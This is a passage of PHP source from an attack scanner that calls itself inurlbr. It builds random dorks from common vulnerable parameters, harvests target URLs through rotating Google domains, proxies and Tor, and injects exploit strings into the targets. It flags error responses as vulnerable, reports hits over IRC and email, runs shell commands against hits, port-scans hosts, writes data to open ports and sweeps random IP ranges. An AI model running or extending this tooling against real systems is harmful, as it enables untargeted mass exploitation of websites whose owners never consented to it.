  2732.             $result = __filterURLTAG($result);
  2733.             $result_ = __validateURL($result) ? $result : NULL;
  2734.             $blacklist_ = (!is_null($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $_SESSION["config"]['blacklist']) : $_SESSION["config"]['blacklist'];
  2735.             __plus();
  2736.  
  2737.             if (not_isnull_empty($result_) && !__validateOptions($blacklist_, $result_, 1)) {
  2738.  
  2739.                 $_SESSION["config"]["totas_urls"].= "{$result_}\n";
  2740.             }
  2741.         }
  2742.     }
  2743. }
  2744.  
  2745. ################################################################################
  2746. #DEBUGAR VALORES E PROCESSOS####################################################
  2747. ################################################################################
  2748.  
  2749. function __debug($valor, $op = NULL) {
  2750.  
  2751.     return isset($_SESSION["config"]["debug"]) && __validateOptions($_SESSION["config"]["debug"], $op) ? "\n[ INFO ][ FUNCTION ]=>{$valor['function']}[ DEBUG ] => \n" . print_r($valor['debug']) . "\n" : NULL;
  2752. }
  2753.  
  2754. ################################################################################
  2755. #TIME TO PROCESS SEC############################################################
  2756. ################################################################################
  2757.  
  2758. function __timeSec($camp, $value = NULL) {
  2759.  
  2760.     echo!is_null($_SESSION['config'][$camp]) && !empty($_SESSION['config'][$camp]) ? "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ TIME SEC/DELAY ]::{$_SESSION["c1"]}{ {$_SESSION["c8"]}[ {$_SESSION['config'][$camp]} ]{$_SESSION["c1"]} }{$_SESSION["c0"]}{$value}" : NULL;
  2761.     !is_null($_SESSION['config'][$camp]) ? sleep($_SESSION['config'][$camp]) : NULL;
  2762. }
  2763.  
  2764. ################################################################################
  2765. #SEARCH ENGINE CONFIGURATION####################################################
  2766. ################################################################################
  2767.  
  2768. function __pageEngine($confArray, $motorNome, $motorURL, $dork, $postDados, $pagStart, $pagLimit, $pagIncrement, $pagStart2 = NULL, $pagIncrement2 = NULL) {
  2769.  
  2770.     __plus();
  2771.  
  2772.     echo ("\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ ENGINE ]::{$_SESSION["c1"]}[ {$motorNome} ]{$_SESSION["c0"]}\n");
  2773.     echo (!is_null($_SESSION['config']['max_pag']) ? ("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ LIMIT PAG ]::{$_SESSION["c1"]}[ {$_SESSION['config']['max_pag']} ]{$_SESSION["c0"]}\n") : NULL);
  2774.     $http_proxy = not_isnull_empty($_SESSION['config']['proxy-http-file']) || not_isnull_empty($_SESSION['config']['proxy-http']) ? __proxyHttpRandom() : NULL;
  2775.     echo not_isnull_empty($http_proxy) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ HTTP_PROXY ]:: {$http_proxy}{$_SESSION["c0"]}\n" : NULL;
  2776.     echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c0"]}\n";
  2777.  
  2778.     $contMaxpg = 0;
  2779.     $pagStart2_ = $pagStart2;
  2780.     $pagStart3_ = $pagStart2;
  2781.     while ($pagStart <= $pagLimit) {
  2782.  
  2783.         echo "{$_SESSION["c1"]}-{$_SESSION["c16"]}[{$_SESSION["c12"]}:::{$_SESSION["c16"]}]{$_SESSION["c0"]}";
  2784.         __plus();
  2785.         $_proxy = not_isnull_empty($confArray["list_proxy_rand"]) && !not_isnull_empty($_SESSION['config']['time-proxy']) ? $confArray["list_proxy_rand"] : $_SESSION["config"]["proxy"];
  2786.         $proxy = not_isnull_empty($_SESSION['config']['proxy-file']) && not_isnull_empty($_SESSION['config']['time-proxy']) ? __timeSecChangeProxy($confArray["list_proxy_file"]) : $_proxy;
  2787.  
  2788.         $murl[0] = str_replace("[DORK]", $dork, $motorURL);
  2789.         $murl[0] = str_replace("[PAG]", $pagStart, $murl[0]);
  2790.         $murl[0] = str_replace("[PAG2]", $pagStart2_, $murl[0]);
  2791.         $murl[0] = str_replace("[PAG3]", $pagStart3_, $murl[0]);
  2792.         $murl[0] = str_replace("[RANDOM]", base64_encode(intval(rand() % 255) . intval(rand() % 2553333)), $murl[0]);
  2793.         $murl[0] = str_replace("[IP]", intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255), $murl[0]);
  2794.  
  2795.  
  2796.         $postDados = !is_null($postDados) ? __convertUrlQuery(parse_url(urldecode($murl[0]), PHP_URL_QUERY)) : NULL;
  2797.  
  2798.         __debug(array('debug' => "[ URL ENGINE ]{$http_proxy}{$murl[0]}", 'function' => '__pageEngine'), 1);
  2799.  
  2800.         $request__ = __request_info($http_proxy . $murl[0], $proxy, $postDados);
  2801.         __plus();
  2802.         $tmp_url = ($motorNome == 'GOOGLE API') ? __filterURLJson($request__["corpo"]) : __filterURL($request__["corpo"], $motorNome);
  2803.         __subProcess($tmp_url);
  2804.         __plus();
  2805.  
  2806.         $pagStart = ($pagStart + $pagIncrement);
  2807.         $pagStart2_ = ($pagStart2_ + $pagIncrement);
  2808.         $pagStart3_ = ($pagStart3_ + $pagIncrement2);
  2809.         $contMaxpg++;
  2810.         __timeSec('delay');
  2811.  
  2812.         if (!is_null($_SESSION['config']['max_pag']) && $_SESSION['config']['max_pag'] == $contMaxpg) {
  2813.  
  2814.             break;
  2815.         }
  2816.     }
  2817. }
  2818.  
  2819. ################################################################################
  2820. #SUB PROCESS INJECT VALUES######################################################
  2821. ################################################################################
  2822.  
  2823. function __subExecExploits($target, $exploitArray = array()) {
  2824.  
  2825.     echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
  2826.     echo "         |[ SUB PROCESS ]::\n";
  2827.     $target = __filterHostname($target);
  2828.  
  2829.     foreach ($exploitArray as $value) {
  2830.  
  2831.         $postDados = !is_null($_SESSION["config"]["sub-post"]) ? __convertUrlQuery($value) : NULL;
  2832.         $patch_GP = (is_null($postDados) ? $value : NULL);
  2833.         $url = $target . $_SESSION["config"]["sub-concat"] . $patch_GP;
  2834.  
  2835.         echo "{$_SESSION["c7"]}-[||]{$_SESSION["c0"]}";
  2836.         $resultado__ = __request_info($url, $_SESSION["config"]["proxy"], $postDados);
  2837.         __plus();
  2838.         $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) &&
  2839.                 strstr($resultado__['server']['http_code'], $_SESSION['config']['ifcode']) ?
  2840.                 "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL;
  2841.         $ifredirect = (strstr($resultado__['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? $resultado__['server']['redirect_url'] : NULL;
  2842.         $_ex['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado__['corpo']);
  2843.  
  2844.         __plus();
  2845.         $_ex['vull_style'] = (not_isnull_empty($_ex['erroReturn'])) ?
  2846.                 "{$_SESSION["c15"]}[ INFO ][ {$_ex['erroReturn']} ]\n[ INFO ][ TARGET POTENTIALLY VULNERABLE ]: " . __cli_beep() : NULL;
  2847.         echo (not_isnull_empty($_ex['erroReturn']) ? "\n{$_ex['vull_style']}{$url}\n{$_SESSION["c0"]}" : NULL);
  2848.         echo (not_isnull_empty($_ex['erroReturn']) ? __saveValue($_SESSION['config']['arquivo_output'], $url, 1) . "\n" : NULL);
  2849.         __plus();
  2850.         $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_ex['erroReturn']) ? "{$url}\n" : NULL);
  2851.         (not_isnull_empty($_ex['erroReturn']) && not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ?
  2852.                         __ircMsg($_SESSION['config']['irc'], "{$_ex['erroReturn']}::: {$url}") : NULL);
  2853.  
  2854.         (not_isnull_empty($_ex['erroReturn']) && !is_null($_SESSION['config']['sub-cmd-vul']) ? __command($_SESSION['config']['sub-cmd-vul'], $url) : NULL);
  2855.         (not_isnull_empty($_SESSION['config']['sub-cmd-all']) ? __command($_SESSION['config']['sub-cmd-all'], $url) : NULL);
  2856.         __plus();
  2857.         __timeSec('delay');
  2858.     }
  2859.     unset($_ex);
  2860. }
  2861.  
  2862. ################################################################################
  2863. #SEND VALUES EMAIL##############################################################
  2864. ################################################################################
  2865. # (PHP 4, PHP 5) mail — Send mailhttp://php.net/manual/en/function.mail.php
  2866.  
  2867. function __sendMail($email, $value) {
  2868.  
  2869.     $headers = NULL;
  2870.     $headers .= "From: <scanner-inurlbr@localhost>\r\n";
  2871.     $headers .= "MIME-Version: 1.0\r\n";
  2872.     $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  2873.     $headers .= "content-type: text/html\nX-priority: 1\n";
  2874.     $body = "------------------------------------------------------\n";
  2875.     $body.="DATE:  [" . date("d-m-Y H:i:s") . "]";
  2876.     $body.=not_isnull_empty($_SESSION['config']['http-header']) ? "HTTP HEADER: {$_SESSION['config']['http-header']}\n" : NULL;
  2877.     $body.=not_isnull_empty($_SESSION['config']['motor']) ? "MOTOR BUSCA: {$_SESSION['config']['motor']}\n" : NULL;
  2878.     $body.=not_isnull_empty($_SESSION['config']['tipoerro']) ? "TIPO ERROR: {$_SESSION['config']['tipoerro']}\n" : NULL;
  2879.     $body.=not_isnull_empty($_SESSION['config']['exploit-get']) ? "EXPLOIT GET: {$_SESSION['config']['exploit-get']}\n" : NULL;
  2880.     $body.=not_isnull_empty($_SESSION['config']['exploit-post']) ? "EXPLOIT-POST: {$_SESSION['config']['exploit-post']}\n" : NULL;
  2881.     $body.=not_isnull_empty($_SESSION['config']['command-vul']) ? "COMMAND VUL: {$_SESSION['config']['command-vul']}\n" : NULL;
  2882.     $body.=not_isnull_empty($_SESSION['config']['command-all']) ? "COMMAND ALL: {$_SESSION['config']['command-all']}\n" : NULL;
  2883.     $body.=not_isnull_empty($_SESSION['config']['user-agent']) ? "USER AGENT: {$_SESSION['config']['user-agent']}\n" : NULL;
  2884.     $body.= "------------------------------------------------------\n";
  2885.  
  2886.     if (mail($email, "[ INFO ][ OUTPUT INURLBR ]:: {$value}", $body, $headers)) {
  2887.         __plus();
  2888.         return "[ INFO ][ SUBMITTED SUCCESSFULLY ]\n";
  2889.     } else {
  2890.         __plus();
  2891.         return "[ INFO ][ NOT SENT ]\n";
  2892.     }
  2893. }
  2894.  
  2895. ################################################################################
  2896. #HOST GOOGLE RANDOM#############################################################
  2897. ################################################################################
  2898.  
  2899. function __dominioGoogleRandom() {
  2900.  
  2901.     $_SESSION["random"]['dominio_google'] = array(
  2902.         'www.google.com', 'www.google.ac', 'www.google.com.om',
  2903.         'www.google.ad', 'www.google.ae', 'www.google.com.af',
  2904.         'www.google.com.ag', 'www.google.com.ai', 'www.google.am',
  2905.         'www.google.it.ao', 'www.google.com.ar', 'www.google.cat',
  2906.         'www.google.as', 'www.google.at', 'www.google.com.au',
  2907.         'www.google.az', 'www.google.ba', 'www.google.com.bd',
  2908.         'www.google.be', 'www.google.bf', 'www.google.bg',
  2909.         'www.google.com.bh', 'www.google.bi', 'www.google.bj',
  2910.         'www.google.com.bn', 'www.google.com.bo', 'www.google.com.br',
  2911.         'www.google.bs', 'www.google.co.bw', 'www.google.com.by',
  2912.         'www.google.com.bz', 'www.google.ca', 'www.google.com.kh',
  2913.         'www.google.cc', 'www.google.cd', 'www.google.cf',
  2914.         'www.google.cn', 'www.google.com.co', 'www.google.co.nz',
  2915.         'www.google.cg', 'www.google.ch', 'www.google.ci',
  2916.         'www.google.co.ck', 'www.google.cl', 'www.google.cm',
  2917.         'www.google.co.cr', 'www.google.com.cu', 'www.google.cv',
  2918.         'www.google.cz', 'www.google.de', 'www.google.nu',
  2919.         'www.google.dj', 'www.google.dk', 'www.google.dm',
  2920.         'www.google.com.do', 'www.google.dz', 'www.google.no',
  2921.         'www.google.com.ec', 'www.google.ee', 'www.google.com.eg',
  2922.         'www.google.es', 'www.google.com.et', 'www.google.com.np',
  2923.         'www.google.fi', 'www.google.com.fj', 'www.google.fm',
  2924.         'www.google.fr', 'www.google.ga', 'www.google.nl',
  2925.         'www.google.ge', 'www.google.gf', 'www.google.gg',
  2926.         'www.google.com.gh', 'www.google.com.gi', 'www.google.nr',
  2927.         'www.google.gl', 'www.google.gm', 'www.google.gp',
  2928.         'www.google.gr', 'www.google.com.gt', 'www.google.com.ni',
  2929.         'www.google.gy', 'www.google.com.hk', 'www.google.hn',
  2930.         'www.google.hr', 'www.google.ht', 'www.google.com.ng',
  2931.         'www.google.hu', 'www.google.co.id', 'www.google.iq',
  2932.         'www.google.ie', 'www.google.co.il', 'www.google.com.nf',
  2933.         'www.google.im', 'www.google.co.in', 'www.google.io',
  2934.         'www.google.is', 'www.google.it', 'www.google.ne',
  2935.         'www.google.je', 'www.google.com.jm', 'www.google.jo',
  2936.         'www.google.co.jp', 'www.google.co.ke', 'www.google.com.na',
  2937.         'www.google.ki', 'www.google.kg', 'www.google.co.kr',
  2938.         'www.google.com.kw', 'www.google.kz', 'www.google.co.mz',
  2939.         'www.google.la', 'www.google.com.lb', 'www.google.com.lc',
  2940.         'www.google.li', 'www.google.lk', 'www.google.com.my',
  2941.         'www.google.co.ls', 'www.google.lt', 'www.google.lu',
  2942.         'www.google.lv', 'www.google.com.ly', 'www.google.com.mx',
  2943.         'www.google.co.ma', 'www.google.md', 'www.google.me',
  2944.         'www.google.mg', 'www.google.mk', 'www.google.mw',
  2945.         'www.google.ml', 'www.google.mn', 'www.google.ms',
  2946.         'www.google.com.mt', 'www.google.mu', 'www.google.mv',
  2947.         'www.google.com.pa', 'www.google.com.pe', 'www.google.com.ph',
  2948.         'www.google.com.pk', 'www.google.pn', 'www.google.com.pr',
  2949.         'www.google.ps', 'www.google.pt', 'www.google.com.py',
  2950.         'www.google.com.qa', 'www.google.ro', 'www.google.rs',
  2951.         'www.google.ru', 'www.google.rw', 'www.google.com.sa',
  2952.         'www.google.com.sb', 'www.google.sc', 'www.google.se',
  2953.         'www.google.com.sg', 'www.google.sh', 'www.google.si',
  2954.         'www.google.sk', 'www.google.com.sl', 'www.google.sn',
  2955.         'www.google.sm', 'www.google.so', 'www.google.st',
  2956.         'www.google.com.sv', 'www.google.td', 'www.google.tg',
  2957.         'www.google.co.th', 'www.google.tk', 'www.google.tl',
  2958.         'www.google.tm', 'www.google.to', 'www.google.com.tn',
  2959.         'www.google.com.tr', 'www.google.tt', 'www.google.com.tw',
  2960.         'www.google.co.tz', 'www.google.com.ua', 'www.google.co.ug',
  2961.         'www.google.co.uk', 'www.google.us', 'www.google.com.uy',
  2962.         'www.google.co.uz', 'www.google.com.vc', 'www.google.co.ve',
  2963.         'www.google.vg', 'www.google.co.vi', 'www.google.com.vn',
  2964.         'www.google.vu', 'www.google.ws', 'www.google.co.za',
  2965.         'www.google.co.zm', 'www.google.co.zw'
  2966.     );
  2967.  
  2968.     return $_SESSION["random"]['dominio_google'][rand(0, count($_SESSION["random"]['dominio_google']) - 1)];
  2969. }
  2970.  
  2971. ################################################################################
  2972. #(CSE)-GOOGLE Custom Search Engine ID RANDOM####################################
  2973. ################################################################################
  2974.  
  2975. function __googleGenericRandom() {
  2976.  
  2977.     $generic = array(
  2978.         '013269018370076798483:wdba3dlnxqm',
  2979.         '005911257635119896548:iiolgmwf2se',
  2980.         '007843865286850066037:b0heuatvay8',
  2981.         '002901626849897788481:cpnctza84gq',
  2982.         '006748068166572874491:55ez0c3j3ey',
  2983.         '012984904789461885316:oy3-mu17hxk',
  2984.         '006688160405527839966:yhpefuwybre',
  2985.         '003917828085772992913:gmoeray5sa8',
  2986.         '007843865286850066037:3ajwn2jlweq',
  2987.         '010479943387663786936:wjwf2xkhfmq',
  2988.         '012873187529719969291:yexdhbzntue',
  2989.         '012347377894689429761:wgkj5jn9ee4'
  2990.     );
  2991.     return $generic[rand(0, count($generic) - 1)];
  2992. }
  2993.  
  2994. ################################################################################
  2995. #PROXY HTTP BASE FILE###########################################################
  2996. ################################################################################
  2997.  
  2998. function __proxyHttpRandom() {
  2999.  
  3000.     $proxy_file = (file_exists($_SESSION['config']['proxy-http-file']) ? __openFile($_SESSION['config']['proxy-http-file'], 1) : array());
  3001.     $proxy_ = is_array($proxy_file) ? array_merge($_SESSION['config']['proxy-http'], $proxy_file) : $_SESSION['config']['proxy-http'];
  3002.  
  3003.     return $proxy_[rand(0, count($proxy_) - 1)];
  3004. }
  3005.  
  3006. ################################################################################
  3007. #FILTER UNIQUE DOMAIN###########################################################
  3008. ################################################################################
  3009.  
  3010. function __filterDomainUnique($resultados) {
  3011.  
  3012.     if (is_array($resultados)) {
  3013.  
  3014.         foreach ($resultados as $value) {
  3015.  
  3016.             $temp[] = "http://" . __filterHostname($value);
  3017.         }
  3018.  
  3019.         return array_unique(array_filter($temp));
  3020.     }
  3021.  
  3022.     return FALSE;
  3023. }
  3024.  
  3025. ################################################################################
  3026. #FILTER IF URL DOMAIN###########################################################
  3027. ################################################################################
  3028.  
  3029. function __filterURLif($resultados) {
  3030.  
  3031.     if (is_array($resultados)) {
  3032.  
  3033.         foreach ($resultados as $value) {
  3034.  
  3035.             $temp[] = not_isnull_empty($_SESSION['config']['ifurl']) && strstr($value, $_SESSION['config']['ifurl']) ? $value : NULL;
  3036.         }
  3037.  
  3038.         return array_unique(array_filter($temp));
  3039.     }
  3040.  
  3041.     return FALSE;
  3042. }
  3043.  
  3044. ################################################################################
  3045. #GENERATOR RANGE IP#############################################################
  3046. ################################################################################
  3047.  
  3048. function __generatorRangeIP($range) {
  3049.  
  3050.     $ip_ = explode(',', $range);
  3051.     if (is_array($ip_)) {
  3052.  
  3053.         $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1]));
  3054.         while ($_[0] <= $_[1]) {
  3055.  
  3056.             $ips[] = "http://" . long2ip($_[0]);
  3057.             $_[0] ++;
  3058.         }
  3059.     } else {
  3060.  
  3061.         return FALSE;
  3062.     }
  3063.  
  3064.     return $ips;
  3065. }
  3066.  
  3067. ################################################################################
  3068. #GENERATOR RANGE IP RANDOM######################################################
  3069. ################################################################################
  3070.  
  3071. function __generatorIPRandom($cont) {
  3072.  
  3073.     $cont[0] = 0;
  3074.     while ($cont[0] < $cont[1]) {
  3075.  
  3076.         $bloc[0] = rand(0, 255);
  3077.         $bloc[1] = rand(0, 255);
  3078.         $bloc[2] = rand(0, 255);
  3079.         $bloc[3] = rand(0, 255);
  3080.         $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}";
  3081.         $cont[0] ++;
  3082.     }
  3083.     return array_unique($ip);
  3084. }
  3085.  
  3086. ################################################################################
  3087. #ACESSING FILE ROBOTS###########################################################
  3088. ################################################################################
  3089.  
  3090. function __getValuesRobots($url) {
  3091.  
  3092.     $_[0] = "http://" . __filterHostname($url) . "/robots.txt";
  3093.     $_[0] = __request_info($_[0], $_SESSION["config"]["proxy"], NULL);
  3094.     echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
  3095.     echo "         |[ ACCESSING FILE ROBOTS ]::\n";
  3096.  
  3097.     if (not_isnull_empty($_[0]['corpo']) && $_[0]['server']['http_code'] == 200) {
  3098.  
  3099.         $_[1] = array_unique(array_filter(explode("\n", $_[0]['corpo'])));
  3100.  
  3101.         foreach ($_[1] as $value) {
  3102.  
  3103.             if (strstr($value, 'Disallow:') || strstr($value, 'Allow:')) {
  3104.  
  3105.                 echo "|_[ + ]__|[ value={$value}\n";
  3106.                 __saveValue($_SESSION['config']['arquivo_output'], $value, 2);
  3107.             }
  3108.             __plus();
  3109.         }
  3110.     } else {
  3111.  
  3112.         echo "\t[x][ ERRO ] LOAD FILE ROBOTS.TXT [ COD_HTTP ]:: {$_[0]['server']['http_code']}\n{$_SESSION["c0"]}";
  3113.     }
  3114. }
  3115.  
  3116. ################################################################################
  3117. #Base64 string encryption md5 , hexadecimal, hex, base64 & random string########
  3118. ################################################################################
  3119.  
  3120. function __crypt($url) {
  3121.  
  3122.     preg_match_all("#(md5|base64|hex|random)(\()(.*?)(\))#", $url, $_);
  3123.     $cont = 0;
  3124.  
  3125.     foreach ($_[0] as $replace) {
  3126.  
  3127.         if (strstr($replace, 'md5('))
  3128.             $func = 'md5';
  3129.  
  3130.         if (strstr($replace, 'base64('))
  3131.             $func = 'base64_encode';
  3132.  
  3133.         if (strstr($replace, 'hex('))
  3134.             $func = 'bin2hex';
  3135.  
  3136.         if (strstr($replace, 'random('))
  3137.             $func = 'random';
  3138.  
  3139.         $url = str_replace($replace, $func($_[3][$cont]), $url);
  3140.         $cont ++;
  3141.     }
  3142.     return $url;
  3143. }
  3144.  
  3145. ################################################################################
  3146. #GENERATE RANDOM STRING#########################################################
  3147. ################################################################################
  3148. #(PHP4,PHP5) Shuffle an array http://php.net/manual/en/function.shuffle.php
  3149.  
  3150. function random($__) {
  3151.     $_ = 'A,a,B,b,C,c,D,d,E,e,F,f,G,g,';
  3152.     $_.= 'H,h,I,i,J,j,K,k,L,l,M,m,';
  3153.     $_.= '1,2,3,4,5,6,7,8,9,0';
  3154.     $_ = explode(',', $_);
  3155.     shuffle($_);
  3156.     $_ = implode($_, '');
  3157.     return substr($_, 0, $__);
  3158. }
  3159.  
  3160. ################################################################################
  3161. #GENERATE RANDOM DORKS##########################################################
  3162. ################################################################################
  3163.  
  3164. function __randomDork($_) {
  3165.  
  3166.     $dk[1] = array('view', 'page', 'index', 'file', 'ver', 'web', 'form', 'public', 'map', 'visit',
  3167.         'site', 'perfil', 'sistema', 'system', 'cad', 'frm', 'content', 'conteudo', 'graf', 'page',
  3168.         'search', 'arch', 'class', 'app', 'galeria', 'text', 'noticia', 'default', 'storytopic', 'home',
  3169.         'lenoticia', 'counter', 'todos', 'all', 'principal', 'main', 'pesquisa', 'dir', 'category', 'news_more',
  3170.         'info', 'display', 'showrecord', 'download', 'sum', 'produtos', 'Menu', 'guia', 'product', 'about',
  3171.         'WebForms', 'proj', 'inter', 'PageText', 'topper', 'notes', 'name', 'redirect', 'open_link', 'artist',
  3172.         'curricu', 'resumen', 'top', 'list', 'directorio', 'Project', 'membre', 'photos', 'Contenido',
  3173.         'presentation', 'component', 'release', 'article', 'asesores', 'Detail', 'about', 'lire', 'story',
  3174.         'memoriam', 'transport', 'journal', 'album', 'community', 'includes', 'ler', 'video', 'configs', 'refer',
  3175.         'form_cpf', 'atualiza', 'refresh', 'materia', 'fotos', 'photos', 'itemdetail', 'listcategoriesandproduct',
  3176.         'myaccount', 'learnmore', 'powersearch', 'prodbycat', 'prodetails', 'prodlist', 'productDisplay', 'promotion',
  3177.         'pview', 'resellers', 'inc', 'oferta', 'layout', 'standard', 'blank', 'path', 'declaration', 'newsitem', 'games',
  3178.         'buy', 'readnews', 'event', 'news_view', 'communique_detail', 'kategorie', 'preview', 'faq2', 'comment', 'newsDetail',
  3179.         'shopping', 'shop_category', 'product_ranges_view', 'section', 'ages', 'curriculum', 'galeri_info', 'tekst', 'play_old',
  3180.         'viewapp', 'padrao', 'sitio', 'head', 'template', 'index1', 'index2', 'index3', 'index4', 'index5', 'mod', 'press', 'gery',
  3181.         'index_table', 'mainfile', '_functions', 'phpshop', 'new-visitor.inc', 'Packages', 'editor', 'board', 'advanced', 'pref',
  3182.         'q', 'side', 'home1', 'home2', 'home3', 'getbook', 'checkout', 'affiliate', 'addcart', 'product_info', 'showsub', 'library',
  3183.         'edition', 'get', 'temp', 'catalog', 'press2', 'company', 'jobs', 'review', 'input', 'cats', 'showmedia', 'event_info'
  3184.     );
  3185.  
  3186.  
  3187.     $dk[2] = array('view', 'file', 'ver', 'web', 'form', 'public', 'map', 'site', 'perfil', 'bookid',
  3188.         'sistema', 'system', 'cad', 'frm', 'content', 'id', 'action', 'user', 'option', 'area', 'catalogid',
  3189.         'tp', 'pg', 'p', 'v', 'a', 't', 'r', 'o', 'm', 'n', 'sec', 'lang', 'search', 'Itemid', 'open',
  3190.         'servicoid', 'id_ap', 'artic', 'pag', 'archive', 'ind', 'sigl', 'url', 'link', 'tp', 'cd', 'item_ID',
  3191.         'web', 'sourc', 'sitemap', 'go', 'galeria', 'img', 'notic', 'num', 'ter', 'dow', 'type', 'CartId',
  3192.         'redir', 'default', 'storytopic', 'topic', 'cod_noti', 'detalhe', 'ler', 'storyid', 'start',
  3193.         'click', 'title', 'tmpl', 'templat', 'cont', 'corp', 'contat', 'consult', 'main', 'exib', 'guia',
  3194.         'span', 'OpenDocument', 'document', 'codidem', 'pesq', 'print', 'imprimir', 'jobs', 'pic', 'contri',
  3195.         'code', 'myPage', 'openPage', 'homepage', 'home', 'inner', 'custom', 'bin', 'IsisScript', 'pid',
  3196.         'wxis.exe', 'wood', 'modules', 'kbn', 'chid', 'jump', 'mes', 'ano', 'month', 'year', 'day', 'dia', 'pre',
  3197.         'show', 'download', 'summit', 'new', 'coming', 'Category', 'produtos', 'Menu', 'uid', 'Consulta', 'qry',
  3198.         'product', 'WebForms', 'proj', 'inter', 'scgi', 'orig_q', 'b1', 'showpage', 'filter', 'Detail', 'about',
  3199.         'itemlist', 'memor', 'info', 'website', 'cidade', 'lic', 'materia', 'SEC_', 'includes', 'store', 'ler',
  3200.         'reader', 'src', 'theme', 'Boletim', 'busca', 'date', 'video', 'configs', 'exec', 'doc', 'refresh', 'telec',
  3201.         'digital', 'materia', 'portal', 'shop', 'photos', 'sales', 'open', 'check', 'token', 'general', 'process', 'ViewType',
  3202.         'idCategor', 'intCatalogID', 'Cart', 'maingroup', 'play', 'where', 'mod', 'panel', 'str', 'staff_id', 'buy', 'preview',
  3203.         'chapter', 'club_id', 'GLOBALS', 'absolute_path', 'body', 'from', 'pg_ID', 'load', 'systempath', 'conf', 'do', 'x', 'temp',
  3204.         'see', 'act', 'middle', 'content', 'q', 'my', 'to', 'nivel', 'arq', 'modo', 'rss', 'pagina', 'opcion', 'loader', 'l', 'this',
  3205.         'subject', 'param', 'index', 'tipo', 'second', 'loc', 'cat_id', 'magazin', 'artist_art', 'cID', 'cat', 'message_id', ''
  3206.     );
  3207.  
  3208.     $dk[3] = array('aspx', 'asp', 'cfm', 'php', 'php3', 'pl', 'cgi', 'py', 'jsp');
  3209.  
  3210.     for ($i = 0; $i <= $_; $i++) {
  3211.  
  3212.         $dm = NULL;
  3213.         $da = $dk[1][rand(0, count($dk[1]) - 1)];
  3214.         $dg = $dk[2][rand(0, count($dk[2]) - 1)];
  3215.         $de = $dk[3][rand(0, count($dk[3]) - 1)];
  3216.  
  3217.         $__[] = "\"{$dm}/{$da}.{$de}?{$dg}\"";
  3218.     }
  3219.     return $__;
  3220. }
  3221.  
  3222. ################################################################################
  3223. #VALIDATING OPEN DOORS##########################################################
  3224. ################################################################################
  3225. #(PHP 4, PHP 5) fsockopen — Open Internet or Unix domain socket connection
  3226. #http://php.net/manual/en/function.fsockopen.php
  3227.  
  3228. function __portScan($_) {
  3229.  
  3230.     // FORMAT PORTS 80, 8181, 22, 21
  3231.     $ports = explode(',', $_[1]);
  3232.     echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
  3233.     echo "         |[ PROCESS PORT-SCAN ]::\n";
  3234.     foreach ($ports as $value) {
  3235.  
  3236.         $conc = fsockopen($_SESSION['config']['server_ip'], $value, $_[2], $_[3], 30);
  3237.         // HOST, POST, ERROR1, ERROR3, TIMEOUT
  3238.  
  3239.         __plus();
  3240.  
  3241.         if ($conc) {
  3242.  
  3243.             echo "{$_SESSION["c1"]}|_[ + ]__|[ {$value}=\033[1m\033[32mOPEN{$_SESSION["c0"]}";
  3244.             (not_isnull_empty($_SESSION['config']['port-write']) ? __portWrite($conc, $_SESSION['config']['port-write']) : NULL);
  3245.             __saveValue($_SESSION['config']['arquivo_output'], "{$value}=OPEN", 2);
  3246.  
  3247.             __plus();
  3248.             $_[0]['url_port'] = $value;
  3249.             (not_isnull_empty($_SESSION['config']['port-cmd']) ? __command($_SESSION['config']['port-cmd'], $_[0]) : NULL);
  3250.             __plus();
  3251.         } else {
  3252.  
  3253.             echo "{$_SESSION["c1"]}|_[ x ]__|[ {$value}={$_SESSION["c9"]}CLOSED{$_SESSION["c0"]}\n";
  3254.             __plus();
  3255.         }
  3256.     }
  3257.     echo $_SESSION["c0"];
  3258.     fclose($conc);
  3259. }
  3260.  
  3261. ################################################################################
  3262. #WRITING ON THE DOOR############################################################
  3263. ################################################################################
  3264. #(PHP 4, PHP 5) fwrite — Binary-safe file write
  3265. #http://php.net/manual/pt_BR/function.fwrite.php
  3266.  
  3267. function __portWrite($conect, $valores) {
  3268.  
  3269.     $valores = explode(',', $valores);
  3270.     foreach ($valores as $value) {
  3271.  
  3272.         echo "{$_SESSION["c1"]}|_[ + ]__|[ WRITE SEND={$value}{$_SESSION["c0"]}\n";
  3273.         fwrite($conect, "{$value}\r\n") . sleep(3);
  3274.         __plus();
  3275.     }
  3276. }
  3277.  
  3278. ################################################################################
  3279. #CODE SEARCH ENGINES############################################################
  3280. ################################################################################
  3281. //$_SESSION['config']['cod'] = '
  3282.  
  3283. function __engines($dork, $list_proxy) {
  3284.  
  3285.     $dork_ = (not_isnull_empty($dork)) ? $dork : __getOut("DEFINA SUA DORK\n");
  3286.     $list_proxy_ = (!is_null($list_proxy) ? $list_proxy[rand(0, count($list_proxy) - 1)] : NULL);
  3287.  
  3288.     $confArray = array("list_proxy_rand" => $list_proxy_, "list_proxy_file" => $list_proxy);
  3289.  
  3290.     (!is_null($_SESSION["config"]["tor-random"]) && !is_null($_SESSION["config"]["proxy"]) ? __renewTOR() : NULL);
  3291.  
  3292.     echo "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c1"]}{{$_SESSION["c0"]} ";
  3293.  
  3294.     __plus();
  3295.  
